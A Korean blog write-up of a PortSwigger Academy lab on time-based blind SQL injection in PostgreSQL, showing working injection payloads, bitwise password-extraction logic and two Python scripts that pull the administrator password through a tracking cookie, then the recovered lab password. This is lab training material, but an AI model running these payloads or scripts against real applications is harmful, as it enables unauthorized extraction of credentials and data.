Dork's port

SQL-injection - Blind SQL injection with time delays and information retrieval 본문

portswigger-academy

SQL-injection - Blind SQL injection with time delays and information retrieval

Dork94 2020. 7. 14. 16:29
  • Time delay를 이용해서 admin의 비밀번호를 찾는 문제

  • 이전 문제와 마찬가지로 x' or PG_SLEEP(10) IS NULL-- 이 동작하므로 이 Query를 기본으로 exploit을 진행하도록 하자.

  • 그리고, 온라인에서 테스트가 한계가 있어 테스트 데이터 베이스를 구축하여 실습을 진행하였다 (쿼리에 대한 더욱 빠른 디버깅이 가능) .

  • 위에서 언급한 Base Query의 문제점이 있는데, or을 이용할 경우 FROM 을 이용하여 특정 table의 내용을 검색하지 못하는 문제가 있다 (다른 방법이 있을 수도 있지만, 우선 내 지식의 한계 + 검색 귀찮음). 따라서, UNION SELECT 를 사용해야 하며, postgresql의 경우 column의 수 뿐만 아니라 return value의 type도 일치해야 동작을 하더라. 그렇지 않은 경우 UNION types integer and boolean cannot be matched 의 에러가 발생함 (이때 variable의 type은 query에 따라 변동 될 것 같음)

  • 따라서, 동작하는 Base query를 다시 해보니 x' UNION SELECT cast(PG_SLEEP(10) as text)-- 을 사용할 수 있었다.

  • postgresql에서는 cast(value as TYPE) 과 같은 형태로 casting이 가능하더라 (ref. 티스토리 블로그)

  • 그래서, UNION SELECT 를 이용해서 password를 알아내는 테스트 쿼리를 작성해보면 SELECT 'a' WHERE False UNION SELECT CASE WHEN SUBSTR(password,1,1)='p' THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username='administrator'; 과 같이 정의될 수있다. 일치 할 경우, cast(PG_SLEEP(10) as TEXT) 가 실행되면서 time delay가 생긴다.

  • 문제 페이지에서 x' UNION SELECT CASE WHEN SUBSTR(password,1,1)!='p' THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username='administrator'-- 쿼리가 동작함을 확인하였다. 첫 글자가 뭔지 모르기때문에 statement를 !=p 로 하였다. 그러나 이전에 했던 것 처럼 우리는 BITAND를 이용할 것 이므로 BITAND도 추가해보자. postgresql에서는 & 연산자를 이용해서 한다.

  • SELECT 'a' WHERE False UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1)) & 1 = 1 THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username='administrator'; 이렇게 작성을 하면 될 것 같다. 이 쿼리문의 결과가 True 라면 sleep을 그렇지 않다면 NULL을 리턴하므로 페이지가 빠르게 로딩될 것 이다.

  • x' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1)) & 1 = 1 THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username='administrator'-- 의 값이 문제 페이지에서 제대로 동작함을 확인했다. 이제 코딩을 해보도록 하자.

  • 그전에 패스워드 길이를 보니 x' UNION SELECT CASE WHEN LENGTH(password)=20 THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username='administrator'-- 을 통해 20임을 확인할 수 있었다.

  • 코드를 아래와 같이 작성했다. 역시나 시간이 걸리는게 문제인데, 그 문제를 더 큰문제로 만드는 것 은 portswigger에서 session을 주기적으로 닫기때문에 url이 달라지고, 그에따라 password도 바뀌어서 중간에 세션이 끊기면 다시 돌려야한다..

  • import requests
    
    def exploit(length_of_password):
    
        passwd = str()
        for i in range(1, length_of_password+1):
            char = 0
            for bit in range(0, 8):
                query = 'x\' UNION SELECT CASE WHEN ASCII(SUBSTR(password,{0},1)) & {1} = {1} THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username=\'administrator\'--'.format(i, 1 << bit)
    
                cookies = {
                    '$Cookie: session': 'VNBTUw0POHIVwZdZyYXUYtnwpPQrovwP',
                    'TrackingId': query,
                }
    
                headers = {
                    'Connection': 'keep-alive',
                    'Cache-Control': 'max-age=0',
                    'Upgrade-Insecure-Requests': '1',
                    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
                    'Sec-Fetch-Site': 'cross-site',
                    'Sec-Fetch-Mode': 'navigate',
                    'Sec-Fetch-User': '?1',
                    'Sec-Fetch-Dest': 'document',
                    'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval',
                    'Accept-Language': 'en-US,en;q=0.9,ko;q=0.8',
                }
    
                try:
                    response = requests.get('https://ac881f431f63e995805e6edf0095001d.web-security-academy.net/', headers=headers, cookies=cookies,timeout=10)
                    print('{0} : False'.format(query))
                except:
                    print('{0} : True'.format(query))
                    char += 1 << bit
            print('{0} of password is {1}'.format(i, chr(char)))
            passwd += chr(char)
    
        return passwd
    
    

if name =='main':

  passwd_length = 20

  password = exploit(passwd_length)
  print('password id {0}'.format(password))

- 다만 지금 상황의 경우, 내가 빨리 결과 얻고싶어서.. 답답해서 multiprocess를 이용했는데 그게 문제가 된 것 같다. 아예 접속이 안되네 ㅠㅠ 웹으로도.. 

- ```python
  import requests
  from multiprocessing import Pool

  def exploit_pool(index):

      char = 0
      for bit in range(0, 8):
          query = 'x\' UNION SELECT CASE WHEN ASCII(SUBSTR(password,{0},1)) & {1} = {1} THEN cast(PG_SLEEP(10) as TEXT) ELSE NULL END FROM users where username=\'administrator\'--'.format(index, 1 << bit)

          cookies = {
              '$Cookie: session': 'VNBTUw0POHIVwZdZyYXUYtnwpPQrovwP',
              'TrackingId': query,
          }

          headers = {
              'Connection': 'keep-alive',
              'Cache-Control': 'max-age=0',
              'Upgrade-Insecure-Requests': '1',
              'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
              'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
              'Sec-Fetch-Site': 'cross-site',
              'Sec-Fetch-Mode': 'navigate',
              'Sec-Fetch-User': '?1',
              'Sec-Fetch-Dest': 'document',
              'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval',
              'Accept-Language': 'en-US,en;q=0.9,ko;q=0.8',
          }

          try:
              response = requests.get('https://ac881f431f63e995805e6edf0095001d.web-security-academy.net/', headers=headers, cookies=cookies,timeout=10)
              print('{0} : False'.format(query))
          except:
              print('{0} : True'.format(query))
              char += 1 << bit
      print('{0} of password is {1}'.format(index, chr(char)))

      return chr(char)


  if __name__ =='__main__':
      passwd_length = 20

      with Pool(passwd_length) as p:
          password = ''.join(p.map(exploit_pool, range(1, passwd_length+1)))

      print('password id {0}'.format(password))
  • 만약 서버가 stable 하고 다중 접속을 허용하는 경우라면.. 저렇게 하면 더욱더 빠르게 끝날 수 있을 것 같다.

  • password는 y52q1qgz05eppned8kgc 이다. time delay를 이용하는 것이라 network conditon에 따라 잘못될 수 도 있어서 걱정했는데 잘된 것 같다. 나는 이런 문제가 싫음 ㅠㅠ

Comments